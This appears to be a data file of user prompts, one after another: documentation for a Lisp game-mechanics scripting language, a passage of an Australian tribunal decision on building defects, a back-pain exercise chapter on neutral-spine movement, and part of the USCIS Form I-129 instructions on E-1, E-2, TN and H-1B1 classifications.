(block 5) equip owner)))))\n\nWe define macros to make trigger code more concise, for example:\n (defmacro defTriggerOnCharacterDie (id &rest handler)\n `(defTriggerExt \\*onCharacterDie\\* ,id (character) ,@handler))\n\n (defmacro defTriggerAfterCast (id &rest handler)\n `(defTriggerExt \\*afterCast\\* ,id (equip character) ,@handler))\n\n (defmacro defTriggerOnTurnBegin (id &rest handler)\n `(defTriggerExt \\*onTurnBegin\\* ,id (character) ,@handler))\n\n (defmacro defTriggerOnTeamTurnBegin (id &rest handler)\n `(defTriggerExt \\*onTeamTurnBegin\\* ,id (team) ,@handler))\nHere is an example of using triggers to create the "block" mechanic, which "blocks" incoming damage based on the amount of block status the character has:\n (defTriggerOnTeamTurnBegin \'block\n (dolist (character (getCharacters team))\n (when (and (isDimensional character) (hasBlock character))\n (applyEffect (blockReset) nil nil character))))\n\n (defTriggerOnDamage \'block\n (let ((blockAmt (getBlock target)))\n (when (> blockAmt 0)\n (if (>= blockAmt effectAmount)\n (progn\n (setEffectValue effect \'damageBlocked effectAmount)\n (applyEffect (blockDecrement effectAmount) nil nil target)\n (setq effectAmount 0))\n (progn\n (setEffectValue effect \'damageBlocked blockAmt)\n (applyEffect (blockDecrement blockAmt) nil nil target)\n (setq effectAmount (- effectAmount blockAmt))))\n (setEffectAmount effect effectAmount))))\n\n (defTriggerOnCharacterDie \'block\n (when (hasBlock character)\n (applyEffect (blockReset) nil nil character)))\n\n## Mechanics\nMechanics a combination of statuses, effects, triggers, combined with helper functions.\nMechanics are used to passively apply effects based on status.\nExamples of mechanics include:\n\n (defun hasPoison (character)\n (hasStatus character \'poison))\n\n (defun getPoison (character)\n (statusGet character \'poison))\n\n (defun statusPoisonIncrement (character amount)\n (statusIncrement character \'poison amount))\n\n (defun statusPoisonDecrement (character amount)\n (statusDecrement character \'poison amount))\n\n (defun statusPoisonSet (character amount)\n (statusSet character \'poison amount))\n\n (defun statusPoisonReset (character)\n (statusPoisonSet character 0))\n\n (defEffectExt poisonTick ()\n (statusPoisonDecrement effectTarget 1))\n\n (defEffectExt poison (amount)\n (statusPoisonIncrement effectTarget effectAmount))\n\n (defEffectHint \'poison "Poison" "Applies 1 for each point on turn begin" \'negative "" "" "")\n\n (defEffectExt poisonDamage (amount)\n (statusHpDecrement effectTarget effectAmount))\n\n (defEffectExt poisonDamageImmune ())\n\n (defEffectExt poisonReset ()\n (statusPoisonSet effectTarget 0))\n\n (defTriggerOnTeamTurnBegin \'poison\n (batch (lambda ()\n (dolist (target (getCharacters team))\n (when (and (isAlive target) (hasPoison target))\n (applyEffect (poisonDamage (getPoison target)) nil nil target)\n (applyEffect (poisonTick) nil nil target))))))\n\n (defTriggerOnCharacterDie \'poison\n (when (hasPoison character)\n (applyEffect (poisonReset) nil nil character)))\n\n## Active Equips\nActive equips are equips that are used to directly apply effects during the players turn.\nActive equips have a mana cost. When used it will deplete player mana by that amount\nActive equips have a target, which can be: none, caster, ally, allies, enemy, enemies, all, any\nActive equips specify an effect group, which is a list of effects to be applied to a target\nActive equips specify a type restriction, which type of dimensional it can be applied to\n\nActive equips can specify warmup, which requires the player waits X turns before using the equip\nActive equips can specify cooldown, which requires the player waits X turns after using the equip before it can be used again\n\nExample of an active equip that applies corruption to one enemy:\n (defActive Corrupt-1 1 "icon:Card\\_Corrupted" "Corrupt" "Adds 3 to target" supporterType 2 \'enemy (onTarget (corruption 3)))\n\nExample of an active equip that adds 5 poison, and then adds additional poison equal to the enemies corruption.\n (defEffectExt acidify()\n (if (hasCorruption effectTarget) (applyEffect (poison (getCorruption effectTarget)) effectEquip effectSource effectTarget)))\n\n (defActive Acid-1 1 "icon:spn\\_040" "Acid" "Add 5, if target is Corrupted, add that much , 3, 3" attackerType 3 \'enemy (onTarget (poison 5) (acidify)) (onEquip (cooldown 3)) (warmup 3))\n\nExample of an active equip deadly devotion that kills the caster, ad adds 30 rage and heal to allies with 5 warmup\n (defActive Deadly-Devotion-1 1 nil "Deadly Devotion" "Allies gain 30 and 30 health, caster dies, 5" supporterType 2 \'allies (onAllies (rage 30) (heal 30)) (onCaster (die)) (warmup 5))\n\n## Passive Equips\nPassive equips are used to react to events in battle.\nPassive equips contain a list of triggers that apply effects and have custom logic\nPassive equips do not have a mana cost, target.\n\nExample of a passive equip that applies 3 poison to all enemies when the owner takes unblocked damaged\n (defPassive Toxic-Trap-1 1 "icon:Card\\_ToxicTrap" "Toxic Trap" "When attacked, add 3 to all enemies" anyType\n (setTriggers\n (defTriggerExt \\*afterDamage\\* \'Toxic-Trap-1 (equip owner effect)\n (when (and (isEffectIncoming effect owner) (isAlive owner))\n (applyEffectOnEnemies (poison 3) equip owner)))))\n\nExample of a passive equip that makes you immune to poison damage\n (defPassive Antibody-3 3 "icon:Card\\_PoisonBlade" "Antibody" "Character is unaffected by " anyType\n (setTriggers\n (defInstantTriggerExt \\*beforePoisonDamage\\* \'Antibody-3 (equip owner effect)\n (when (and (isEffectIncoming effect owner) (isAlive owner))\n (setEffectAmount effect 0)\n (applyEffect (poisonDamageImmune) equip owner owner)))))\n\nExample of a passive equip that adds 2 corruption to all enemies each turn:\n (defPassive Bad-Influence-2 2 nil "Bad Influence" "Add 2 each turn to all enemies" anyType\n (setTriggers\n (defTriggerExt \\*onTurnBegin\\* \'Bad-Influence-2 (equip owner character)\n (when (and (eql owner character) (isAlive owner))\n (applyEffectOnEnemies (corruption 2) equip owner)))))\n\n# DO NOT BREAK THESE RULES UNDER ANY CIRCUMSTANCES:\n## Rule 1:\nDO NOT apply an effect during a trigger that listens to the same effect on the same target. For example, do not apply heal effect when listening to \\*afterHeal\\* trigger. DO NOT DO THIS:\n\n (defTriggerExt \\*afterHeal\\* \'Blessing-Mechanic-1 (equip owner effect)\n (when (and (isEffectIncoming effect owner) (isAlive owner))\n (let ((blessingAmount (getBlessing owner)))\n (when (> blessingAmount 0)\n (applyEffect (heal blessingAmount) equip owner owner)))))\n\n## Rule 2:\nDo not use any functions or syntax that haven\'t been outlines or implied in this document. For example MESSAGE here is wrong:\n (message owner (concatenate \'string "Healed for an additional " (princ-to-string blessingAmount) " from Blessing"))' -'This is part 6 of my multiple messages. I will continue to send you further messages. Do not write anything for now. If you understand my request, please reply by only saying "acknowledged"\n\nMr Bournelis suggested all 30 lineal metres of blockwork should be removed and replaced, which would require removing and reinstalling the fence. The total cost of his suggested method of rectification was said to be $14,650 for each unit, giving a total cost of rectification of $29,300.\n\nMr Sim suggested an alternative method of rectification of rendering and painting the existing block work at an estimated cost of $2,480 for each unit. When cross-examined, Mr Sim expressed the view that replacement of the blockwork was unnecessary as the retaining wall was structurally sound with the result that the result that the method of rectification suggested by Mr Bournelis involved significant work (and cost) with little benefit.\n\nIn closing submissions for the owner, reference was made to what was said in Tabcorp to the effect that qualification expressed in Bellgrove, namely that the proposed method of rectification must be both necessary to produce conformity with the contract and a reasonable course to adopt, is only satisfied by “fairly exceptional circumstances”.\n\nThe question of whether a method of rectification is reasonable depends on the factual circumstances of each case. Here, there is no evidence to suggest that the retaining walls have any structural deficiency: the only difference between what was built and what would conform with the contract is aesthetic in that “split face blocks” have a rough rather than a smooth surface. The subject blocks are only two or three courses high and sit underneath a Colorbond fence. More than half the length of the retaining wall is at the rear of the property where it is only visible to the occupants and, even then, not often. The estimated cost of changing from a smooth surface to a rough surface for both walls is $29,300.\n\nIt is considered that incurring that cost in such circumstances is not a reasonable course to adopt and that support for that view is to be found in the fact that the alternative method of rectification, estimated to cost about one sixth of the method proposed by the owner, will result in a rendered and painted finish, the colour of which can be chosen to match either the fence or the house.\n\nFor those reasons, the Tribunal is satisfied that the work order should include the method of rectification for which Mr Sim contended for this alleged defect.\n\nConcrete path. This item, relating to unit 2, was described in the report of Mr Bournelis (A1260) as follows:\n\nLeft hand side concrete path dips, no falls away from the dwelling with severe pooling of water along the length of the side path and the drain is blocked towards the front of the property.\n\nHis suggested method of rectification was to demolish and reinstate a section of the path with an estimated cost of $7,840 for that work.\n\nIn his report (A1321), Mr Sim agreed there was pooling water but suggested there is drainage which appears to be blocked, as indicted in a provided photo. His estimated cost of rectification, for clearing that blockage, was $400.\n\nWhen cross-examined in relation to this item, Mr Sim said he only saw water ponding around the blocked drainage and that there was a fall away from the dwelling.\n\nThe opinion of Mr Bournelis quoted above contained opinions without any indication of the basis for those opinions: there is nothing to suggest any measurements or water tests. He claims there are no falls in the path away from the dwelling, but Mr Sim asserts there are, and the Tribunal has not been provided with any reason why that conflict should be resolved in favour of Mr Bournelis. In relation to this item, the owner has failed to prove there is any defect beyond a blocked drain. As a result, the method of rectification proposed by Mr Sim is accepted as the appropriate outcome.\n\nDefective work. As no written or oral submissions were made to assist the Tribunal as to the form of a work order, it is necessary to undertake that exercise by reference primarily to the joint report, and to the reports of the experts as and when necessary. Unfortunately, the individual defects were not numbered sequentially and repeatedly reverted to 1 and contain sub-headings within the numbered defects. To facilitate future reference, the work order contains sequential numbering with sufficient indication to enable identification of the matters raised in the joint report (JR). What is set out below is confined to providing reasons in relation to disagreements as to either whether there is a defect and what is the reasonable method of rectification.\n\nUnit 1, internal. In the kitchen, item 2(e) was disputed as to liability. Mr Bournelis referred to AS 4386.1 which requires 300 mm clearance from combustible surfaces for a cooktop and provided a photo which suggested a 60mm clearance from a wall. Mr Sim noted that wall within 300mm is not combustible. As a result of that evidence, which was not refuted, this item does is not considered to involve a defect.\n\nIn the master bedroom and ensuite, items 10(c), 10(d), and 10(e) were disputed as to liability. As to (c), Mr Sim expressed the view that the owner selected the mirror but the factual basis for that opinion does not appear to have been established. The only document the Tribunal has been able to locate is a claim by Mr Khan (A575) but there does not appear to be any document to corroborate that claim. As to (d) and (e), Mr Bournelis suggested a lack of drawers in the vanity and a water pipe evident in the underside of the vanity were defects but did not provide any basis for those opinions. In those circumstances, (c) is considered a defect but not either (d) or (e). Item 11(d) is not considered a defect for the same reason as item 10(e).\n\nThe response of Mr Sim to items 12(a), 12(b), and 12(c) was that the vanity and mirror were selected by the owner. Again, applying what was said in Makita, there is no indication of the basis for that opinion. As a result, items 12(b) and 12(c) are considered to involve defects.\n\nIt is convenient to here note that if items within the scope of work were the result of choices made by the owner, with the result that he does not wish to have them changed, then he can agree not to have those aspects of the work order carried out. Provision for that election to be made in writing has been included in the work order.\n\nIn relation to item 13, as to the method of rectification for the areas where no insulation batts were installed, the Tribunal is satisfied that the method of rectification suggested by Mr Sim is reasonable way to carry out that work.\n\nAs to item 15, the two photos provided by Mr Bournelis (on A1136 and A1137) do not indicate to the Tribunal what he alleges. The Tribunal is left with competing evidence: Mr Bournelis claiming there is evidence of water stains and grass clippings; Mr Sim finding no such evidence. The factual foundation for this alleged defect has not been established and the owner has failed to discharge the onus of proof which he bears.\n\nThe position in relation to item numbered 17 is the same as item 15: there is a conflict between the evidence of the experts as to whether there is “breeze flowing through the dwelling”. As no reliable reason has been provided for accepting the evidence of one expert and rejecting the evidence of the other expert in relation to this item, the owner has failed to prove this alleged defect.\n\nUnit 1, external. Item 1(g) is another case of conflicting expert evidence: Mr Bournelis stating: “Water tap pipe not connected in front yard” (A1144)and Mr Sim saying: “I found the water pipe to the front of the dwelling was connected …” (A1301). The joint report does no more than record their disagreement. This is another instance where the alleged defect has not been proved.\n\nItem 2(b) contains no more than “Ingress of water to light fittings at the front façade” in the report of Mr Bournelis (A1146) and suggested rectification work of: “Allow electrician to remove and replace light fittings with water resistant light fittings”. Mr Sim’s response was: “The electrician was onsite during my site investigation to replace the light fittings” (A1302) and that evidence was not challenged. The ten words of Mr Bournelis provides scant support for this defect and the unchallenged evidence of Mr Sim suggest the rectification work for which Mr Bournelis contended has already been undertaken. In relation to this item the Tribunal is not persuaded that there is any defect or that any addition to the work order is warranted.\n\nItem 4(d) is another instance where the evidence of Mr Bournelis was brief:\n\nWindow head outside Level 1 Family Room not square, see photograph 30A below.\n\nThere was no measurement or other supporting evidence apart from that photo (A1150) which does not provide sufficiently clear evidence. Mr Sim expressed the view that this item did not involve a defect because it cannot be seen from a normal viewing position and is not measurable. There is insufficient evidentiary support for the inclusion of this item as a defect warranting the rectification work suggested by Mr Bournelis.\n\nItem 8 is another instance where the expert evidence clashes. Mr Bournelis claims paint is peeling off the driveway and provides a photo which does not make that clear. Mr Sim said that, based on his site inspection, there was no paint peeling from the driveway and provided a photo which does not appear to suggest any defect. This is another item where the evidence does not enable the Tribunal to make a finding that there is a defect. As a result, no addition has been made to the work order in relation to his item.\n\nUnit 2, internal. Item 2(b) will, according to Mr Sim, require a free service from the window manufacturer. That item should be included in the work order so that the work is carried out. Item 2(c) is another item where the is limited evidence from Mr Bournelis and competing evidence from Mr Sim. As with other such situations, this item has not been included in the work order.\n\nItem 4(b) is rejected for the same reason as item 2(e) in unit 1. Items 4(e) and 4(f), which are further instances of little evidence from Mr Bournelis and competing evidence from Mr Sim, have not been included in the work order.\n\nIn relation to item 8(b), Mr Bournelis said no more than “No exposed projector and screen as specified” (A1167) which does not indicate whether he is claiming none were supplied of that what was supplied was not as specified. Mr Sim provided photos of a projector, on a shelf, and a screen (A1310). The work order has been framed to include the supply and installation of what was specified which may or may not require further work.\n\nAs to item 8(c), the opinion of Mr Bournelis is based on instructions. It is not identified who provided those instructions. If those instructions came from the owner, they are not considered sufficiently reliable. This item is treated as having been covered by the issue of insulation, considered above.\n\nThe oral evidence revealed that a sound bar was supplied. However, the contract was based on a quotation which specified “High Spec Polk Home Theatre Sound System” (A479) which should have been supplied and installed.\n\nMoving from item 8(f) to item 8(g), the contract specified “Frost Glazing Sliding Door to Media Room” and provided a photo (A479). Mr Bournelis provided a photo which shows that was not done (A1167). Mr Sim disagreed that a frosted sliding door was part of the contract and suggested a wardrobe had been installed instead of sliding doors (A1309). As there does not appear to be any evidence of a variation, the Tribunal considers the work order should include what was included in the quotation upon which the contract was based.' -'CHAPTER FIFTEEN\n RULE #6\n Crawl Before You Walk, Walk Before You Run\n From Jeremy\nAs you know by now, the essence of the protocol is lifelong behavioral change. That means changing the way you carry yourself and move (the neutral spine and all that). But it also means adopting and staying with our carefully designed (and progressive) exercise regimen. It is designed for back pain and it is essential for a permanent cure. And you have to do it correctly. There is an awful lot of text and a bunch of pictures about exercise in this book. But it’s not because you have to do so many exercises; there really aren’t that many. It’s because we want you to do them right. Remember, you are far more likely to do these exercises with the compensatory patterns you have been doing for years unless you read closely and concentrate on doing them the right way. Doing them the wrong way will just make you better at doing bad things. \nOne great key to doing them right is to go slow in the learning process. Whether you’re the type or not, you have to take it step-by-step. This is a healing process, and you cannot rush a healing process; it has its own rhythm and you have to follow it. Roll out these exercises slowly over time, progressing from one level to the next only when you “get” the level you are on and are ready to move up. \nRemember, it is these daily exercises that—more than anything else—are going to give most of you a significant and permanent reduction in pain and tightness. Other steps get you past the immediate pain. These steps make the change permanent. \nBe Still to Heal; Be Still to Stay Well \nOne of the main goals of changing your movement patterns is to make the “be still to heal” concept (Rule #2, in Chapter 7) part of your daily life. Once you have achieved an initial fix, you don’t have to be as still. But it is a great idea to learn to move with relative stillness (without moving your lumbar spine too much) all the time. \nThis is a big change for most of you, and you have to take it in steps; as I say, you have to crawl before you walk. The first step in learning to keep your lumbar spine still routinely is simply to learn to march in place, with a neutral spine. (This is the “crawl” part of the process; it may seem too easy to bother with. It is not.) The goal is to learn to march in place with no lower spine movement. Then you can move on to other movements in this chapter.\nKey tip: If any of these movements hurt, take a step back to the last thing you could do without pain (marching in place, for instance). Stay with that for a few more days and then try to progress again. In theory, if you can march in place without pain, you can walk without pain and move without pain. It’s just a matter of building up your core, turning on the right muscles, and learning to use those muscles to move in the right way. Whenever you have difficulty, go back to the previous step and start again. \nOkay, you’ve done marching in place without moving your lower spine. Once that feels relatively simple, try doing this while walking. Things become a little murkier here because there are many factors at play. Because you are now weight-bearing, you need the support of important muscle groups like the glutes and latissimus dorsi (lats) to support your spine, in addition to the muscles we talked about in the core. If you can’t do this at first without pain, follow the advice in the book for a while, and it will come once you have developed enough strength to support your spine while standing. \nWalking with Neutral Spine \nLearning to walk with a neutral spine means applying the same mechanics of your Slow March with Neutral Spine exercise to an upright, weight-bearing position. Almost everyone can improve their ability to walk without pain if they can do the slow march exercise on the ground. The distance you can walk without pain, or without significant increases in pain, will increase as you build core and gluteal strength and endurance by doing the exercises in this book. To get started on increasing your ability to walk with decreased pain, follow these directions:\nStep 1: Stand with good posture. Stand tall, shoulders back, head over your shoulders. Think of sticking your chest out and pulling your shoulder blades down and back. Make sure you aren’t leaning forward. Tilt your pelvis back and forth (just like you did on the floor earlier), and stop where your lower back feels the most comfortable. \nStep 2: Use your core to lock your neutral spine in place. \nStep 3: Now try to walk while maintaining the position of your lower back and with the good posture you just set. It can help to put one hand on your stomach and one on your low back to feel for movement. Once you feel like you’ve mastered maintaining neutral spine while walking, start to swing your arms from the shoulders, arm to opposite leg. This means if your right leg is swinging forward, your left arm should be as well. Make sure to always swing your arms from the shoulders as you walk; this helps dissipate force away from the spine. This movement takes time to master so don’t get frustrated. Keep practicing. It gets easier after you have built endurance and strength in the muscles that support the spine. \nStep 4: If you sense your back is about to hurt, stop and have a seat for a few minutes and give your back a break. Then try walking a little longer. Over time, the period between these sitting breaks should increase, allowing you to walk farther without pain.\nNow let’s move on to more complex movements. To make it easier (and to improve your chances of success) we are going to break those more complex movements down into pieces and then put them all together at the end. We will start with movement from the hips, a very basic move in all our lives all the time. Let’s start with hip-hinging. Hip-hinging is a way to bend forward without stressing (i.e., bending) the spine. Done right, the axis of movement is in the hips, not the low back. Your low back should be in a protected neutral position with the core engaged. As you bend forward, your low back doesn’t round or move. Let’s look at a picture of hip-hinging and a picture of lumbar flexion (low back bending); one is good, the other is bad. This is simple stuff, but it is very hard to get over your ancient, bad habits. Hard but essential. \n\nHip-Hinge with Neutral Spine\nHere are a couple of pictures showing you the right way to hinge (on the left) and the wrong way (on the right). Notice the very slightly curved lower back in the hip-hinge picture on the left: no movement. Excellent! The pic on the right has quite a lot of spine movement; don’t do that. When you first try this movement, it may feel awkward, and you may assume that you cannot reach as far forward with good posture. Not so. You’ll soon realize that you can move just as far forward, using only your hips, as you did before, using your back. You don’t lose anything and you avoid a ton of pain. Over time you will gain mobility. The reason is that moving with your lower back eventually causes pain and stiffness in your back. But moving from your hips will not have that result. Let’s practice doing it right. \nRight Wrong\n\nStep 1: Stand with feet shoulder-width apart.\nStep 2: Set your posture: Find neutral spine, brace the core, shoulders back, stand as tall as you can without pain and without breaking neutral spine. \nStep 3: Bend your knees slightly. \nStep 4: Feel the two bones sticking out of the sides of your hips. These are called your greater trochanters. Picture a pole going through these two points, passing right through your pelvis. This is your imaginary axis of movement.\nStep 5: Now place one hand on your stomach and the other on your back. On your back, put your fingers on those little bones sticking out (spinous processes). You are putting your hands here to feel for any unwanted movement when you hip-hinge. \nStep 6: Without moving anything in the core (you shouldn’t feel those little bones in your back moving), slowly bend forward on that imaginary axis of movement through the hip bones while sticking your buttocks out behind you a little bit. If you feel your stomach or back move, stop, reset, and try again.\n\nStep 7: Go only as far forward as you can without moving your back. For many of you, your hamstrings (back of legs) are going to be a limiting factor in your range of motion in the beginning. Don’t worry if you can’t go too far. Your hamstrings will loosen up in time if you follow all of the advice in this book. \nStep 8: Slowly return to the starting position without moving your back or stomach. \nStep 9: This should not hurt your low back. If it does, reset your stance, find neutral spine, brace your core. Not hurting? Now try it again with a very small range of motion. Stay within the range of motion that doesn’t hurt. Slowly increase your range of motion over time—it will come. \nAdding Rotation\nNow let’s get a little more complex. Let’s add rotation to the bend. Hip-hinging correctly allows you to move forward and backward without pain. Now let’s learn to move side to side. We are talking rotation. Again, think about moving from the hips. It’s easiest to visualize proper rotation if you think about your waist. We don’t want any movement at the waist. Try to picture your rib cage being locked on to your pelvis. That’s what you want. Pretend that there are no joints between your ribs and pelvis, for this one. \nFull-Body Rotation\nThe chest, navel, and hips all move together. This means there is no (or very little) movement in the spine. The body rotates by moving the hips, knees, and pelvis. If the hips and pelvis stay facing forward while the rib cage moves, the movement comes from the waist, and therefore the lumbar spine. This type of movement can wear down the discs and joints in the spine over time, especially when additional load is applied (like unloading the dishwasher for instance). Just like hip-hinging, rotation done properly doesn’t cause you to lose mobility and will improve athletic performance. Let’s give it a try. Once again, the new movement is not that hard. But you are trying to unlearn a lifetime of moving with your spine. That is hard. \n\nStep 1: Stand with your feet shoulder-width apart.\nStep 2: Set your posture: Find neutral spine, brace the core, shoulders back, stand as tall as you can without pain and without breaking neutral spine. \nStep 3: Bend your knees slightly. \nStep 4: Place your hands on the top of your pelvis with your fingers pointed forward. This hand position is to help you visualize movement of the pelvis as you get used to this movement. \nStep 5: Keep the knees bent and loose but the core engaged, and try to turn a little to the right by shifting the knees and hips. Your fingers, navel, hip bones, chest bone, and face should all point the same direction. It’s okay if you pivot the feet a little bit. \n\nStep 6: Now try to the left.\nStep 7: Slowly increase your range of motion by bending more at the knees. \nStep 8: Then increase your range of motion even more by pivoting your feet. \nStep 9: At all times and especially at the end of the movement, your chest bone, head, navel, and hips should be in alignment. \nTROUBLESHOOTING\nKnee pain: Stay lighter on your feet\\ and pivot the ball of the inside foot (the side you are moving away from) as you rotate. \nTorso Rotation with Hip-Hinge and Squat\nNow let’s try to put those two movements—the hip-hinge and the rotation—together with a squat for a realistic, three-dimensional movement that allows you to accomplish everyday tasks (think unloading the dishwasher, putting up groceries) without stressing your back. You are going to rotate and bend down (hip-hinge), then come back up to the other side and extend. \nNotice that within that entire chain of movement, the person in the drawing does not really move his spine (look at the waist if you’re having trouble visualizing that). The rib cage remains locked onto the pelvis the entire time. These pictures show you that you can go almost 180 degrees from side to side, stooping as low as you can and then extending as high as your hands can go, without compromising your back. Let’s try it.\nStep 1: Stand with your feet shoulder-width apart.\nStep 2: Find neutral spine and engage your core to lock it in. \nStep 3: Stand with good posture. \nStep 4: Rotate torso to the right without twisting the waist as before.\n\nStep 5: Pivot the inside foot (left foot, in this case) as you turn.\nStep 6: After initiating the rotation, start to hinge at the hips, bending forward. Remember not to round your back. \n\nStep 7: Go only as low and as far to the right as you can without twisting at the waist or rounding your low back. You will now be in a squat/split squat position.\n\nStep 8: Reach out with your arms as if you were picking something up off of the floor. \n\nStep 9: Bring the arms back in and re-center your weight over your buttocks and feet. \nStep 10: Using your glutes, lift yourself out of the lowered position, pushing with your right glutes as you rotate back to midline while hinging back up through the hips. \n\nStep 11: As you swing past midline (without twisting at the waist!), pivot your right foot, continuing to use the right glutes, and extend your arms up toward the ceiling as if you were putting something on a shelf. \nStep 12: Return to the starting position without twisting at the waist. Try this in front of a mirror several times. \nStep 13: Then try this movement on the opposite side of your body. \nTROUBLESHOOTING\n• Knee pain: If your knees hurt as you start to rotate the torso, be lighter on your feet. Allow the feet to pivot a little bit. If the knees hurt when you are hinged forward at the bottom of the movement, drop your buttocks back more so that you are in a squat position (think of a baseball catcher) and lessen your range of motion. Try doing small movements and increase your range of motion gradually.\n• Back pain: If your back hurts with this one, it is likely you are twisting at the waist, rounding the back, or don’t have the gluteal strength yet to perform this movement to its full range of motion. Do a little investigating: Can you hip-hinge without pain? If so, that’s not the issue. Can you do the torso rotation without pain? Can you squat without pain? If you can do all three without pain then it is likely you are having difficulty putting all of these moves together without sacrificing form on one of them. Try doing this movement in very small pieces in front of a mirror or loved one, and gradually increase your range of motion over time. If any one piece causes pain, work on that one until you can do it pain-free, and then come back and try this movement again. \nRemember, these movements must become habits. That sounds daunting but it really isn’t that hard. Once your back starts to feel better, it will let you know when you move the wrong way and you’ll avoid that at all costs.' -'Part 2. Petition Only Required for an Alien in the United States to Change Status or Extend Stay\nThe following classifications listed in this Part 2. do not require a petition for new employment if the alien is outside the\nUnited States.\nUse this Form I-129 when the beneficiary is physically present in the United States and a change of status, concurrent\nemployment, or an extension of stay is needed. Note: The beneficiary must be maintaining lawful status in the United\nStates to remain eligible for the benefit sought.\nE-1 Nonimmigrants\nThe E-1 classification is for aliens who are nationals of a country with which the United States maintains a\nqualifying treaty or an international agreement, or which has been deemed a qualifying country by legislation, and\nwho are coming to the United States to carry on substantial trade principally between the United States and the\nalien’s country of nationality. The Department of State maintains a list of countries with qualifying treaties. See\nhttps://travel.state.gov/content/visas/en/fees/treaty.html for a list of qualifying countries.\nWrite E-1 in the classification block.\nQualifying trade involves the commercial exchange of goods or services in the international market place. Substantial\ntrade is an amount of trade sufficient to ensure continuous flow of international trade items between the United States and\nthe treaty country. Principal trade exists when more than 50 percent of the E-1’s total volume of international trade is\nconducted between United States and the treaty country.\nAn employee of an E-1 treaty trader who possesses the same nationality as the E-1 employer may also be classified as E-1.\nThe employee must principally and primarily perform executive or supervisory duties or possess special qualifications that\nare essential to the successful or efficient operation of the enterprise. The E-1 employee may perform work for the parent\ntreaty organization or enterprise, or any subsidiary of the parent organization or enterprise.\nThe petition must be filed with evidence of:\n1. Ownership and Nationality of the E-1 treaty trader. Such evidence may include, but is not limited to, lists of\ninvestors with current status and nationality, stock certificates, certificate of ownership issued by the commercial\nsection of a foreign embassy, and reports from a certified personal accountant;\n2. Substantial Trade. Evidence of substantial trade may include, but is not limited to, copies of three or more of the\nfollowing: bills of lading, customs receipts, letter of credit, trade brochures, purchase orders, insurance papers,\ndocumenting commodities imported, carrier inventories, and/or sales contracts, or other probative documentation\nestablishing the requisite substantial trade; and\n3. For E-1 employees only: Executive or Supervisory Duties or special qualification essential to the enterprise.\nEvidence of such duties or qualifications may include, but is not limited to, certificates, diplomas or transcripts, letters\nfrom employers describing job titles, duties, operators’ manuals, and the required level of education and knowledge.\nE-2 Nonimmigrants\nThe E-2 classification is for aliens who are nationals of a country with which the United States maintains a\nqualifying treaty or an international agreement, or which has been deemed a qualifying country by legislation,\nand who are coming to the United States to develop and direct the operations of an enterprise in which the alien\nhas invested or is actively in the process of investing a substantial amount of capital. The Department of State\nmaintains a list of countries with qualifying treaties. See https://travel.state.gov/content/visas/en/fees/treaty.html\nfor a list of qualifying countries.\nWrite E-2 in the classification block.\nAn E-2 must demonstrate possession and control of capital and the ability to develop and direct the investment enterprise\nand the ability to develop and direct the investment enterprise. Capital in the process of being invested or that has been\ninvested must be placed at risk and be irrevocably committed to the enterprise. The enterprise must be a real, active, and\noperating commercial or entrepreneurial undertaking that produces services or goods for profit. The investment must be\nsubstantial and the funds must not have been obtained, directly or indirectly, from criminal activity. The enterprise must\nbe more than marginal.\nForm I-129 Instructions 11/02/22 Page 24 of 30\nAn employee of an E-2 who possesses the same nationality as the E-2 employer may also be classified as E-2. The\nemployee must principally and primarily perform executive or supervisory duties or possess special qualifications that are\nessential to the successful or efficient operation of the enterprise.\nThe petition must be filed with evidence of:\n1. Ownership and Nationality of the E-2 treaty investor. Such evidence may include, but is not limited to, lists of\ninvestors with current status and nationality, stock certificates, certificate of ownership issued by the commercial\nsection of a foreign embassy, and reports from a certified personal accountant;\n2. Substantial investment. Such evidence may include, but is not limited to, copies of partnership agreements (with a\nstatement on proportionate ownership), articles of incorporation, payments for the rental of business premises or office\nequipment, business licenses, stock certificates, office inventories (goods and equipment purchased for the business),\ninsurance appraisals, annual reports, net worth statements from certified profession accountants, advertising invoices,\nbusiness bank accounts containing funds for routine operations, funds held in escrow; and\n3. For E-2 employees only: Executive or Supervisory Duties or special qualifications essential to the enterprise.\nEvidence of such duties or qualifications may include, but is not limited to, certificates, diplomas or transcripts, letters\nfrom employers describing job titles, duties, operators’ manuals, and the required level of education and knowledge.\nAdvice on E-1 and E-2 petitions\nYou must obtain approval from USCIS when substantive changes occur in the terms or conditions of the status of the\ntreaty trader, investor, or E employee. To do this, file Form I-129 and E-1/E-2 Classification Supplement, with fee, and\nrequest an extension of stay.\nYou may seek advice from USCIS to determine whether changes in the terms or conditions in E status are substantive.\nTo obtain advice, file Form I-129 and E-1/E-2 Classification Supplement, with fee. Answer “Yes” to the question on the\nSupplement which asks whether you are seeking advice.\nFree Trade Nonimmigrants (H-1B1 and TNs)\nThe Free Trade Nonimmigrant classifications (H-1B1 and TN) are temporary nonimmigrant classifications based on the\nprovisions of a Free Trade Agreement between the United States and the alien’s country of citizenship. Currently there are\ntwo stand-alone Free Trade Nonimmigrant classifications available: TN and H-1B1.\nThe TN nonimmigrant classification is for aliens who are citizens of Canada or Mexico covered by the North\nAmerican Free Trade Agreement coming to the United States to engage temporarily in business activities at a\nprofessional level. Depending on the specific type of business activity, a TN must at least have a bachelor’s degree\nor, in certain limited instances, other appropriate credentials which demonstrate status as a professional. The\nacceptable types of TN business activities at a professional level are listed at 8 CFR 214.6(c).\nWrite TN in the classification block.\nDocumentary evidence must be submitted if the applicant is a citizen of Canada and is currently outside the United States\nOR if the applicant is a citizen of Canada or Mexico and is requesting a “Change of Status” to TN. The applicant must\nsubmit evidence demonstrating that he or she will be engaged in business activities at a professional level and that the\napplicant possesses the requisite professional qualifications. Acceptable evidence may include, but is not limited to, the\nfollowing:\n1. A letter from the employer stating the activity the beneficiary will be engaged in, the anticipated length of stay, and\nthe arrangements for remuneration;\n2. A copy of the beneficiary’s last two pay stubs and W-2 if employed in the United States; and\n3. Evidence the beneficiary meets the educational and/or licensing requirements for the profession or occupation.\nNOTE: While a petition is not required, citizens of Canada who are outside the United States may use this form to apply\nfor TN status.\nIf the applicant is a citizen of Canada or Mexico and is requesting an “Extension of Stay” in TN classification, submit\nevidence, such as a letter, describing the continuing employment and evidence of the beneficiary’s continued valid\nlicensing (if required by the profession and/or the state).\nForm I-129 Instructions 11/02/22 Page 25 of 30\nThe H-1B1 classification is for aliens from Chile or Singapore coming to the United States temporarily to perform\nservices in a specialty occupation. See the instructions for H-1B nonimmigrants for the definition of “specialty\noccupation.”\nWrite H-1B1 in the classification block.\nSubmit all evidence listed in the H Classification Supplement to Form I-129 under Section 1., Complete This Section If\nFiling for H-1B Classification, as well as evidence listed in the section of the instructions for H-1B specialty 